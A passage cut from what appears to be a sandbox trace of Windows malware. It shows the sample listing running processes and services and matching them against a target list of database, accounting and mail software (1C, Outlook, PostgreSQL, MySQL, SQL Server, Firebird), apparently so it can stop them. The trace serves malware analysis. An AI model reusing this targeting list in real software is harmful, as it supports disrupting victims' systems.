lpString2="Winmgmt") returned -1 [0158.623] lstrcmpiW (lpString1="sqlwriter", lpString2="Winmgmt") returned -1 [0158.623] lstrcmpiW (lpString1="mssqlserver", lpString2="Winmgmt") returned -1 [0158.623] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Winmgmt") returned -1 [0158.623] lstrlenW (lpString="WPDBusEnum") returned 10 [0158.623] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WPDBusEnum") returned -1 [0158.623] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WPDBusEnum") returned -1 [0158.623] lstrcmpiW (lpString1="sqlwriter", lpString2="WPDBusEnum") returned -1 [0158.623] lstrcmpiW (lpString1="mssqlserver", lpString2="WPDBusEnum") returned -1 [0158.623] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WPDBusEnum") returned -1 [0158.623] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x41f77d0 | out: hHeap=0x300000) returned 1 [0158.623] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x20c [0158.626] Process32FirstW (in: hSnapshot=0x20c, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0158.626] Process32NextW (in: hSnapshot=0x20c, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x51, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0158.626] lstrlenW (lpString="System") returned 6 [0158.626] lstrcmpiW (lpString1="1c8.exe", lpString2="System") returned -1 [0158.626] lstrcmpiW (lpString1="1cv77.exe", lpString2="System") returned -1 [0158.626] lstrcmpiW (lpString1="outlook.exe", lpString2="System") returned -1 [0158.626] lstrcmpiW (lpString1="postgres.exe", lpString2="System") returned -1 [0158.626] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="System") returned -1 [0158.626] lstrcmpiW (lpString1="mysqld.exe", lpString2="System") returned -1 [0158.626] lstrcmpiW (lpString1="sqlservr.exe", lpString2="System") returned -1 [0158.626] Process32NextW (in: hSnapshot=0x20c, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x104, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0158.627] lstrlenW (lpString="smss.exe") returned 8 [0158.627] lstrcmpiW (lpString1="1c8.exe", lpString2="smss.exe") returned -1 [0158.627] lstrcmpiW (lpString1="1cv77.exe", lpString2="smss.exe") returned -1 [0158.627] lstrcmpiW (lpString1="outlook.exe", lpString2="smss.exe") returned -1 [0158.627] lstrcmpiW (lpString1="postgres.exe", lpString2="smss.exe") returned -1 [0158.627] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="smss.exe") returned -1 [0158.627] lstrcmpiW (lpString1="mysqld.exe", lpString2="smss.exe") returned -1 [0158.627] lstrcmpiW (lpString1="sqlservr.exe", lpString2="smss.exe") returned 1 [0158.627] Process32NextW (in: hSnapshot=0x20c, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x148, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0158.627] lstrlenW (lpString="csrss.exe") returned 9 [0158.627] lstrcmpiW (lpString1="1c8.exe", lpString2="csrss.exe") returned -1 [0158.627] lstrcmpiW (lpString1="1cv77.exe", lpString2="csrss.exe") returned -1 [0158.627] lstrcmpiW (lpString1="outlook.exe", lpString2="csrss.exe") returned 1 [0158.627] lstrcmpiW (lpString1="postgres.exe", lpString2="csrss.exe") returned 1 [0158.627] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="csrss.exe") returned 1 [0158.627] lstrcmpiW (lpString1="mysqld.exe", lpString2="csrss.exe") returned 1 [0158.627] lstrcmpiW (lpString1="sqlservr.exe", lpString2="csrss.exe") returned 1 [0158.627] Process32NextW (in: hSnapshot=0x20c, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x178, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0158.628] lstrlenW (lpString="wininit.exe") returned 11 [0158.628] lstrcmpiW (lpString1="1c8.exe", lpString2="wininit.exe") returned -1 [0158.628] lstrcmpiW (lpString1="1cv77.exe", lpString2="wininit.exe") returned -1 [0158.628] lstrcmpiW (lpString1="outlook.exe", lpString2="wininit.exe") returned -1 [0158.628] lstrcmpiW (lpString1="postgres.exe", lpString2="wininit.exe") returned -1 [0158.628] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="wininit.exe") returned -1 [0158.628] lstrcmpiW (lpString1="mysqld.exe", lpString2="wininit.exe") returned -1 [0158.628] lstrcmpiW (lpString1="sqlservr.exe", lpString2="wininit.exe") returned -1 [0158.628] Process32NextW (in: hSnapshot=0x20c, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x184, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0158.628] lstrlenW (lpString="csrss.exe") returned 9 [0158.628] lstrcmpiW (lpString1="1c8.exe", lpString2="csrss.exe") returned -1 [0158.628] lstrcmpiW (lpString1="1cv77.exe", lpString2="csrss.exe") returned -1 [0158.628] lstrcmpiW (lpString1="outlook.exe", lpString2="csrss.exe") returned 1 [0158.628] lstrcmpiW (lpString1="postgres.exe", lpString2="csrss.exe") returned 1 [0158.628] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="csrss.exe") returned 1 [0158.629] lstrcmpiW (lpString1="mysqld.exe", lpString2="csrss.exe") returned 1 [0158.629] Process32NextW (in: hSnapshot=0x20c, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0158.629] lstrlenW (lpString="winlogon.exe") returned 12 [0158.629] Process32NextW (in: hSnapshot=0x20c, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x178, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0158.629] lstrlenW (lpString="services.exe") returned 12 [0158.629] Process32NextW (in: hSnapshot=0x20c, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x178, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0158.630] lstrlenW (lpString="lsass.exe") returned 9 [0158.630] Process32NextW (in: hSnapshot=0x20c, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x178, pcPriClassBase=8, dwFlags=0x0, szExeFile="lsm.exe")) returned 1 [0158.630] lstrlenW (lpString="lsm.exe") returned 7 [0158.630] Process32NextW (in: hSnapshot=0x20c, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x254, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0158.630] lstrlenW (lpString="svchost.exe") returned 11 [0158.631] Process32NextW (in: hSnapshot=0x20c, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x298, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0158.631] lstrlenW (lpString="svchost.exe") returned 11 [0158.631] Process32NextW (in: hSnapshot=0x20c, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0158.631] lstrlenW (lpString="svchost.exe") returned 11 [0158.631] Process32NextW (in: hSnapshot=0x20c, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x338, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x19, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0158.631] lstrlenW (lpString="svchost.exe") returned 11 [0158.632] Process32NextW (in: hSnapshot=0x20c, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x370, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2c, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0158.632] lstrlenW (lpString="svchost.exe") returned 11 [0158.632] Process32NextW (in: hSnapshot=0x20c, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x2c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0158.632] lstrlenW (lpString="audiodg.exe") returned 11 [0158.632] Process32NextW (in: hSnapshot=0x20c, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xc8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0158.632] lstrlenW (lpString="svchost.exe") returned 11 [0158.633] Process32NextW (in: hSnapshot=0x20c, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x174, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0158.633] lstrlenW (lpString="svchost.exe") returned 11 [0158.633] Process32NextW (in: hSnapshot=0x20c, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x444, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0158.633] lstrlenW (lpString="spoolsv.exe") returned 11 [0158.633] Process32NextW (in: hSnapshot=0x20c, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x468, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0158.634] lstrlenW (lpString="taskhost.exe") returned 12 [0158.634] Process32NextW (in: hSnapshot=0x20c, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x498, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x18, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0158.634] lstrlenW (lpString="svchost.exe") returned 11 [0158.634] Process32NextW (in: hSnapshot=0x20c, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4a0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x1ac, pcPriClassBase=8, dwFlags=0x0, szExeFile="userinit.exe")) returned 1 [0158.634] lstrlenW (lpString="userinit.exe") returned 12 [0158.634] Process32NextW (in: hSnapshot=0x20c, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x338, pcPriClassBase=8, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0158.635] lstrlenW (lpString="dwm.exe") returned 7 [0158.635] Process32NextW (in: hSnapshot=0x20c, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4b8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1e, th32ParentProcessID=0x4a0, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0158.635] lstrlenW (lpString="explorer.exe") returned 12 [0158.635] Process32NextW (in: hSnapshot=0x20c, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x568, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x15, th32ParentProcessID=0x4b8, pcPriClassBase=8, dwFlags=0x0, szExeFile="3G6885.exe")) returned 1 [0158.635] lstrlenW (lpString="3G6885.exe") returned 10 [0158.636] Process32NextW (in: hSnapshot=0x20c, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="reader_sl.exe")) returned 1 [0158.636] lstrlenW (lpString="reader_sl.exe") returned 13 [0158.636] Process32NextW (in: hSnapshot=0x20c, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x51c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x254, pcPriClassBase=8, dwFlags=0x0, szExeFile="drvinst.exe")) returned 1 [0158.636] lstrlenW (lpString="drvinst.exe") returned 11 [0158.636] Process32NextW (in: hSnapshot=0x20c, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x558, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x1c8, pcPriClassBase=6, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0158.637] lstrlenW (lpString="taskhost.exe") returned 12 [0158.637] Process32NextW (in: hSnapshot=0x20c, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x314, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x370, pcPriClassBase=13, dwFlags=0x0, szExeFile="consent.exe")) returned 1 [0158.637] lstrlenW (lpString="consent.exe") returned 11 [0158.637] Process32NextW (in: hSnapshot=0x20c, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x678, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x254, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 1 [0158.637] lstrlenW (lpString="dllhost.exe") returned 11 [0158.637] Process32NextW (in: hSnapshot=0x20c, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x678, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x254, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 0 [0158.638] CloseHandle (hObject=0x20c) returned 1 [0158.638] Sleep (dwMilliseconds=0x1f4) [0159.448] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x3af1cc8 [0159.448] EnumServicesStatusExW (in: hSCManager=0x3af1cc8, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x21fff44, lpServicesReturned=0x21fff5c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x21fff44, lpServicesReturned=0x21fff5c, lpResumeHandle=0x0) returned 0 [0159.449] GetLastError () returned 0xea [0159.449] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x11e4) returned 0x41f77d0 [0159.449] EnumServicesStatusExW (in: hSCManager=0x3af1cc8, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x41f77d0, cbBufSize=0x11e4, pcbBytesNeeded=0x21fff44, lpServicesReturned=0x21fff5c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x41f77d0, pcbBytesNeeded=0x21fff44, lpServicesReturned=0x21fff5c, lpResumeHandle=0x0) returned 1 [0159.450] CloseServiceHandle (hSCObject=0x3af1cc8) returned 1 [0159.450] lstrlenW (lpString="Appinfo") returned 7 [0159.450] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Appinfo") returned 1 [0159.450] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Appinfo") returned 1 [0159.450] lstrcmpiW (lpString1="sqlwriter", lpString2="Appinfo") returned 1 [0159.450] lstrcmpiW (lpString1="mssqlserver", lpString2="Appinfo") returned 1 [0159.450] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Appinfo") returned 1 [0159.450] lstrlenW (lpString="AudioEndpointBuilder") returned 20 [0159.450] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0159.450] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0159.450] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1 [0159.450] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1 [0159.450] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1 [0159.450] lstrlenW (lpString="AudioSrv") returned 8 [0159.450] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioSrv") returned 1 [0159.450] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioSrv") returned 1 [0159.450] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioSrv") returned 1 [0159.450] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioSrv") returned 1 [0159.450] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioSrv") returned 1 [0159.450] lstrlenW (lpString="BFE") returned 3 [0159.450] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1 [0159.451] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1 [0159.451] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1 [0159.451] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1 [0159.451] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1 [0159.451] lstrlenW (lpString="CryptSvc") returned 8 [0159.451] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CryptSvc") returned 1 [0159.451] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CryptSvc") returned 1 [0159.451] lstrcmpiW (lpString1="sqlwriter", lpString2="CryptSvc") returned 1 [0159.451] lstrcmpiW (lpString1="mssqlserver", lpString2="CryptSvc") returned 1 [0159.451] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CryptSvc") returned 1 [0159.451] lstrlenW (lpString="CscService") returned 10 [0159.451] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CscService") returned 1 [0159.451] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CscService") returned 1 [0159.451] lstrcmpiW (lpString1="sqlwriter", lpString2="CscService") returned 1 [0159.451] lstrcmpiW (lpString1="mssqlserver", lpString2="CscService") returned 1 [0159.451] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CscService") returned 1 [0159.451] lstrlenW (lpString="DcomLaunch") returned 10 [0159.451] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1 [0159.451] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1 [0159.451] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1 [0159.451] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1 [0159.451] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1 [0159.451] lstrlenW (lpString="Dhcp") returned 4 [0159.451] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1 [0159.451] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1 [0159.451] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1 [0159.451] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1 [0159.451] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1 [0159.451] lstrlenW (lpString="Dnscache") returned 8 [0159.451] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1 [0159.451] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1 [0159.451] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1 [0159.452] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1 [0159.452] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1 [0159.452] lstrlenW (lpString="DPS") returned 3 [0159.452] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DPS") returned 1 [0159.452] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DPS") returned 1 [0159.452] lstrcmpiW (lpString1="sqlwriter", lpString2="DPS") returned 1 [0159.452] lstrcmpiW (lpString1="mssqlserver", lpString2="DPS") returned 1 [0159.452] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DPS") returned 1 [0159.452] lstrlenW (lpString="eventlog") returned 8 [0159.452] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="eventlog") returned 1 [0159.452] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="eventlog") returned 1 [0159.452] lstrcmpiW (lpString1="sqlwriter", lpString2="eventlog") returned 1 [0159.452] lstrcmpiW (lpString1="mssqlserver", lpString2="eventlog") returned 1 [0159.452] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="eventlog") returned 1 [0159.452] lstrlenW (lpString="EventSystem") returned 11 [0159.452] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1 [0159.452] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1 [0159.452] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1 [0159.452] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1 [0159.452] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1 [0159.452] lstrlenW (lpString="gpsvc") returned 5 [0159.452] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1 [0159.452] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1 [0159.452] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1 [0159.452] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1 [0159.452] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1 [0159.452] lstrlenW (lpString="iphlpsvc") returned 8 [0159.452] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="iphlpsvc") returned -1 [0159.452] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="iphlpsvc") returned -1 [0159.452] lstrcmpiW (lpString1="sqlwriter", lpString2="iphlpsvc") returned 1 [0159.452] lstrcmpiW (lpString1="mssqlserver", lpString2="iphlpsvc") returned 1 [0159.452] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="iphlpsvc") returned 1 [0159.452] lstrlenW (lpString="LanmanServer") returned 12 [0159.453] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanServer") returned -1 [0159.453] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanServer") returned -1 [0159.453] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanServer") returned 1 [0159.453] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanServer") returned 1 [0159.453] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanServer") returned 1 [0159.453] lstrlenW (lpString="LanmanWorkstation") returned 17 [0159.453] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0159.453] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0159.453] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1 [0159.453] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1 [0159.453] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1 [0159.453] lstrlenW (lpString="lmhosts") returned 7 [0159.453] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1 [0159.453] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1 [0159.453] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1 [0159.453] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1 [0159.453] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1 [0159.453] lstrlenW (lpString="MMCSS") returned 5 [0159.453] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MMCSS") returned -1 [0159.453] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MMCSS") returned -1 [0159.453] lstrcmpiW (lpString1="sqlwriter", lpString2="MMCSS") returned 1 [0159.453] lstrcmpiW (lpString1="mssqlserver", lpString2="MMCSS") returned 1 [0159.453] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MMCSS") returned 1 [0159.453] lstrlenW (lpString="MpsSvc") returned 6 [0159.453] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1 [0159.453] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1 [0159.453] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1 [0159.453] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1 [0159.453] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1 [0159.453] lstrlenW (lpString="Netman") returned 6 [0159.453] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Netman") returned -1 [0159.453] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Netman") returned -1 [0159.454] lstrcmpiW (lpString1="sqlwriter", lpString2="Netman") returned 1 [0159.454] lstrcmpiW (lpString1="mssqlserver", lpString2="Netman") returned -1 [0159.454] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Netman") returned 1 [0159.454] lstrlenW (lpString="netprofm") returned 8 [0159.454] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="netprofm") returned -1 [0159.454] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="netprofm") returned -1 [0159.454] lstrcmpiW (lpString1="sqlwriter", lpString2="netprofm") returned 1 [0159.454] lstrcmpiW (lpString1="mssqlserver", lpString2="netprofm") returned -1 [0159.454] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="netprofm") returned 1 [0159.454] lstrlenW (lpString="NlaSvc") returned 6 [0159.454] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NlaSvc") returned -1 [0159.454] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NlaSvc") returned -1 [0159.454] lstrcmpiW (lpString1="sqlwriter", lpString2="NlaSvc") returned 1 [0159.454] lstrcmpiW (lpString1="mssqlserver", lpString2="NlaSvc") returned -1 [0159.454] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NlaSvc") returned 1 [0159.454] lstrlenW 